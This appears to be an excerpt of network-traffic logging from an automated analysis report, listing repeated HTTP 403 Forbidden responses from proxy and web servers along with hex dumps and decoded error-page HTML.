Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:16 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:16 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 23 Feb 2024 08:45:19 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:20 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/htmlCache-Control: no-cacheX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Length: 4897Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:21 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:21 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 23 Feb 2024 08:45:21 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 306Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.22.1Date: Fri, 23 Feb 2024 08:45:22 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.22.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:22 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:22 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:23 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 